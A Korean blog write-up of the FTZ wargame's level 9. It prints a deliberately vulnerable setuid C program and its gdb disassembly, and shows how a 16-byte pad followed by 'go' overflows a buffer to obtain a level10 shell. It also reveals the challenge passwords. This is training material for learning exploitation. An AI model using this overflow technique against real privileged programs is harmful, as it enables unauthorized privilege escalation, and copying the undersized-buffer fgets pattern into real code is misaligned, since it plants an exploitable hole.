Jaeseo's Information Security Story

FTZ - level9 - WriteUp 본문

Write UP/FTZ

FTZ - level9 - WriteUp

Jaeseokim 2019. 11. 12. 12:30

FTZ - level9 - WriteUp

level9:apple

일단 힌트를 살펴봅니다.

[level9@ftz level9]$ cat hint 


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}   

이를 이용하여 level10의 권한을 얻어라.


문제를 보면 입력은 buf만 받지만 buffer over flow를 이용해서 buf2에 go라는 값을 가지게 하여 문제를 해결해야 하는 문제로 보입니다.

일단 ls -la /usr/bin/bof의 권한을 보면 -rws--x--- 1 level10 level9 12111 Sep 10 2011 /usr/bin/bof이기 때문에 gdb를 사용할 수가 없기 때문에 hint에서 주어진 소스코드를 가지고 프로그램을 만들고 분석을 해봅니다.

gcc -g bof.c -o bof.out를 이용해서 디버깅용으로 프로그램을 컴파일해줍니다.

[level9@ftz tmp]$ gdb bof.out 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel //intel 형식으로 보여준다.
(gdb) disassemble main //c언어 이기때문에 main를 본다.
Dump of assembler code for function main:
0x08048420 <main+0>:    push   ebp
0x08048421 <main+1>:    mov    ebp,esp
0x08048423 <main+3>:    sub    esp,0x28
0x08048426 <main+6>:    and    esp,0xfffffff0
0x08048429 <main+9>:    mov    eax,0x0
0x0804842e <main+14>:    sub    esp,eax
0x08048430 <main+16>:    sub    esp,0xc
0x08048433 <main+19>:    push   0x8048554
0x08048438 <main+24>:    call   0x8048350 <printf>
0x0804843d <main+29>:    add    esp,0x10
0x08048440 <main+32>:    sub    esp,0x4
0x08048443 <main+35>:    push   ds:0x8049698
0x08048449 <main+41>:    push   0x28
0x0804844b <main+43>:    lea    eax,[ebp-40] //fgets를 하기전에 eax에 ebp-40의 주소를 저장
0x0804844e <main+46>:    push   eax            //stack에 eax 저장
0x0804844f <main+47>:    call   0x8048320 <fgets>
0x08048454 <main+52>:    add    esp,0x10
0x08048457 <main+55>:    sub    esp,0x4
0x0804845a <main+58>:    push   0x2
0x0804845c <main+60>:    push   0x804856a
0x08048461 <main+65>:    lea    eax,[ebp-24] //fgets를 하기전에 eax에 ebp-24의 주소를 저장
0x08048464 <main+68>:    push   eax            //stack에 eax 저장
0x08048465 <main+69>:    call   0x8048330 <strncmp>
0x0804846a <main+74>:    add    esp,0x10
0x0804846d <main+77>:    test   eax,eax
0x0804846f <main+79>:    jne    0x80484a6 <main+134>
0x08048471 <main+81>:    sub    esp,0xc
0x08048474 <main+84>:    push   0x804856d
0x08048479 <main+89>:    call   0x8048350 <printf>
0x0804847e <main+94>:    add    esp,0x10
0x08048481 <main+97>:    sub    esp,0x8
0x08048484 <main+100>:    push   0xbc2
0x08048489 <main+105>:    push   0xbc2
0x0804848e <main+110>:    call   0x8048360 <setreuid>
0x08048493 <main+115>:    add    esp,0x10
0x08048496 <main+118>:    sub    esp,0xc
0x08048499 <main+121>:    push   0x804857a
0x0804849e <main+126>:    call   0x8048310 <system>
0x080484a3 <main+131>:    add    esp,0x10
0x080484a6 <main+134>:    leave  
0x080484a7 <main+135>:    ret    
End of assembler dump.

위의 어셈블리를 보면 [ebp-40]buf로 예상이 되고 그다음 [ebp-24]buf2로 예상이 됩니다.

이점을 이용해서 buf에서 입력값을 넘길 때 ebp-40에서 16byte를 넘어가면 ebp-24 공간을 넘어가게 될 것이고,

이때 go를 입력해주면 buf2에는 go가 들어가 있을 것으로 예상됩니다. 이제 실행해서 확인해봅니다.

[level9@ftz tmp]$ bof 
It can be overflow : 1234567890123456go
Good Skill!
[level10@ftz tmp]$ 

예상하던 대로 1234567890123456go를 입력값으로 넘기니 bof가 발생하여 level10의 권한의 bash쉘이 떨어진 것을 확인하였습니다.

[level10@ftz tmp]$ my-pass 

Level10 Password is "interesting to hack!".

level10:interesting to hack!

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level11 - WriteUp  (0) 2019.11.15
FTZ - level10 - WriteUp  (0) 2019.11.13
FTZ - level8 - WriteUp  (0) 2019.11.11
FTZ - level7 - WriteUp  (0) 2019.11.11
FTZ - level6 - WriteUp  (0) 2019.11.09
Comments